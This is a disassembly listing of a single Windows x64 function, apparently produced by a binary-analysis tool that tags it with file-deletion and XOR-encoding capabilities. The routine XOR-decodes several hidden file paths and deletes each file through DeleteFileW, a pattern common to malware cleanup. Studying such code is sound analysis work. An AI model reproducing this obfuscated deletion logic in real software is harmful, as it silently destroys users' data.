Function at 0x140018f70
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov eax, 0x40
xor edi, edi
mov dword [rsp + 0x20], eax
mov edx, edi
mov dword [rsp + 0x24], 0xa800d2
mov ebx, 0x91
mov dword [rsp + 0x28], 0xc400cf
mov dword [rsp + 0x2c], 0xf900e7
mov dword [rsp + 0x30], 0xea00f0
mov dword [rsp + 0x34], 0xf700f8
mov dword [rsp + 0x38], 0xda00bb
mov dword [rbp - 0x7d], 0xf200f4
mov dword [rbp - 0x79], 0xd300fa
mov dword [rbp - 0x75], 0xda0089
mov dword [rbp - 0x71], 0x92009b
mov dword [rbp - 0x6d], 0xfa008c
mov dword [rbp - 0x69], 0xd800e2
mov dword [rbp - 0x65], 0xc900c0
mov dword [rbp - 0x61], 0xeb008b
mov dword [rbp - 0x5d], 0xc300cc
mov dword [rbp - 0x59], 0xc300ca
mov dword [rbp - 0x55], 0xfe00ed
mov dword [rbp - 0x51], 0xc100d2
mov dword [rbp - 0x4d], 0xd500db
mov dword [rbp - 0x49], 0xdd00df
mov dword [rbp - 0x45], 0xe600cb
mov dword [rbp - 0x41], 0xd200fe
mov dword [rbp - 0x3d], 0xd700da
mov dword [rbp - 0x39], 0xa500d1
mov dword [rbp - 0x35], 0x81009d
mov dword [rbp - 0x31], 0xaa00ac
mov dword [rbp - 0x2d], 0xaf00a3
mov dword [rbp - 0x29], 0x9400a0
mov dword [rbp - 0x25], 0xab008b
mov dword [rbp - 0x21], 0xa900b8
mov dword [rbp - 0x1d], 0xa700e3
mov dword [rbp - 0x19], 0xb900a1
mov dword [rbp - 0x15], 0xd1
test eax, eax
je 0x1400190bb
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x24]
lea rcx, [rcx + rax*2]
lea eax, [rbx + rdx]
inc edx
xor word [rcx], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x1400190a0
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x44
mov edx, edi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x24], 0xa800d2
mov dword [rsp + 0x28], 0xc400cf
mov dword [rsp + 0x2c], 0xf900e7
mov dword [rsp + 0x30], 0xea00f0
mov dword [rsp + 0x34], 0xf700f8
mov dword [rsp + 0x38], 0xda00bb
mov dword [rbp - 0x7d], 0xf200f4
mov dword [rbp - 0x79], 0xd300fa
mov dword [rbp - 0x75], 0xda0089
mov dword [rbp - 0x71], 0x92009b
mov dword [rbp - 0x6d], 0xfa008c
mov dword [rbp - 0x69], 0xd800e2
mov dword [rbp - 0x65], 0xc900c0
mov dword [rbp - 0x61], 0xeb008b
mov dword [rbp - 0x5d], 0xc300cc
mov dword [rbp - 0x59], 0xc300ca
mov dword [rbp - 0x55], 0xfe00ed
mov dword [rbp - 0x51], 0xc100d2
mov dword [rbp - 0x4d], 0xd500db
mov dword [rbp - 0x49], 0xdd00df
mov dword [rbp - 0x45], 0xe600cb
mov dword [rbp - 0x41], 0xd200fe
mov dword [rbp - 0x3d], 0xd700da
mov dword [rbp - 0x39], 0xa500d1
mov dword [rbp - 0x35], 0x81009d
mov dword [rbp - 0x31], 0xaa00ac
mov dword [rbp - 0x2d], 0xaf00a3
mov dword [rbp - 0x29], 0x9400a0
mov dword [rbp - 0x25], 0xab008b
mov dword [rbp - 0x21], 0xa900b8
mov dword [rbp - 0x1d], 0xaf008a
mov dword [rbp - 0x19], 0xb500a2
mov dword [rbp - 0x15], 0xbb00ff
mov dword [rbp - 0x11], 0xbd00bd
mov dword [rbp - 0xd], 0xd5
test eax, eax
je 0x1400191fb
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x24]
lea rcx, [rcx + rax*2]
lea eax, [rbx + rdx]
inc edx
xor word [rcx], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x1400191e0
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
call fcn.1400194f0
mov r8d, edi
mov ecx, dword [rax]
lea r9, [rax + 4]
test ecx, ecx
je 0x140019246
nop dword [rax]
nop word [rax + rax]
mov ecx, r8d
lea edx, [rbx + r8]
inc r8d
xor word [r9 + rcx*2], dx
mov ecx, dword [rax]
cmp r8d, ecx
jb 0x140019230
mov eax, ecx
mov rcx, r9
mov word [r9 + rax*2], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, edi
mov dword [rsp + 0x20], 0x45
mov dword [rsp + 0x24], 0xa800d2
mov dword [rsp + 0x28], 0xc400cf
mov dword [rsp + 0x2c], 0xf900e7
mov dword [rsp + 0x30], 0xea00f0
mov dword [rsp + 0x34], 0xf700f8
mov dword [rsp + 0x38], 0xda00bb
mov dword [rbp - 0x7d], 0xf200f4
mov dword [rbp - 0x79], 0xd300fa
mov dword [rbp - 0x75], 0xda0089
mov dword [rbp - 0x71], 0x92009b
mov dword [rbp - 0x6d], 0xfa008c
mov dword [rbp - 0x69], 0xd800e2
mov dword [rbp - 0x65], 0xc900c0
mov dword [rbp - 0x61], 0xeb008b
mov dword [rbp - 0x5d], 0xc300cc
mov dword [rbp - 0x59], 0xc300ca
mov dword [rbp - 0x55], 0xfe00ed
mov dword [rbp - 0x51], 0xc100d2
mov dword [rbp - 0x4d], 0xd500db
mov dword [rbp - 0x49], 0xdd00df
mov dword [rbp - 0x45], 0xe600cb
mov dword [rbp - 0x41], 0xd200fe
mov dword [rbp - 0x3d], 0xd700da
mov dword [rbp - 0x39], 0xa500d1
mov dword [rbp - 0x35], 0x81009d
mov dword [rbp - 0x31], 0xaa00ac
mov dword [rbp - 0x2d], 0xaf00a3
mov dword [rbp - 0x29], 0x9400a0
mov dword [rbp - 0x25], 0xab008b
mov dword [rbp - 0x21], 0xa900b8
mov dword [rbp - 0x1d], 0xa00084
mov dword [rbp - 0x19], 0xa500bf
mov dword [rbp - 0x15], 0xfc00a5
mov dword [rbp - 0x11], 0xba00ba
mov dword [rbp - 0xd], 0xd600bc
nop dword [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x24]
lea rcx, [rcx + rax*2]
lea eax, [rbx + rdx]
inc edx
xor word [rcx], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x140019360
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
call fcn.140019650
mov edx, edi
mov ecx, dword [rax]
lea r9, [rax + 4]
test ecx, ecx
je 0x1400193b4
mov ecx, edx
lea r8d, [rbx + rdx]
inc edx
xor word [r9 + rcx*2], r8w
mov ecx, dword [rax]
cmp edx, ecx
jb 0x1400193a1
mov eax, ecx
mov rcx, r9
mov word [r9 + rax*2], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
call fcn.140019790
mov r8d, edi
mov ecx, dword [rax]
lea r9, [rax + 4]
test ecx, ecx
je 0x1400193f6
nop dword [rax + rax]
mov ecx, r8d
lea edx, [rbx + r8]
inc r8d
xor word [r9 + rcx*2], dx
mov ecx, dword [rax]
cmp r8d, ecx
jb 0x1400193e0
mov eax, ecx
mov rcx, r9
mov word [r9 + rax*2], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
call fcn.140019930
mov r8d, edi
mov ecx, dword [rax]
lea r9, [rax + 4]
test ecx, ecx
je 0x140019436
nop dword [rax]
mov ecx, r8d
lea edx, [rbx + r8]
inc r8d
xor word [r9 + rcx*2], dx
mov ecx, dword [rax]
cmp r8d, ecx
jb 0x140019420
mov eax, ecx
mov rcx, r9
mov word [r9 + rax*2], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
call fcn.140019a80
mov r8d, edi
mov ecx, dword [rax]
lea r9, [rax + 4]
test ecx, ecx
je 0x140019476
nop dword [rax]
mov ecx, r8d
lea edx, [rbx + r8]
inc r8d
xor word [r9 + rcx*2], dx
mov ecx, dword [rax]
cmp r8d, ecx
jb 0x140019460
mov eax, ecx
mov rcx, r9
mov word [r9 + rax*2], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
call fcn.140019bc0
mov r8d, edi
mov ecx, dword [rax]
lea r9, [rax + 4]
test ecx, ecx
je 0x1400194b6
nop dword [rax]
mov ecx, r8d
lea edx, [rbx + r8]
inc r8d
xor word [r9 + rcx*2], dx
mov ecx, dword [rax]
cmp r8d, ecx
jb 0x1400194a0
mov eax, ecx
mov rcx, r9
mov word [r9 + rax*2], di
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret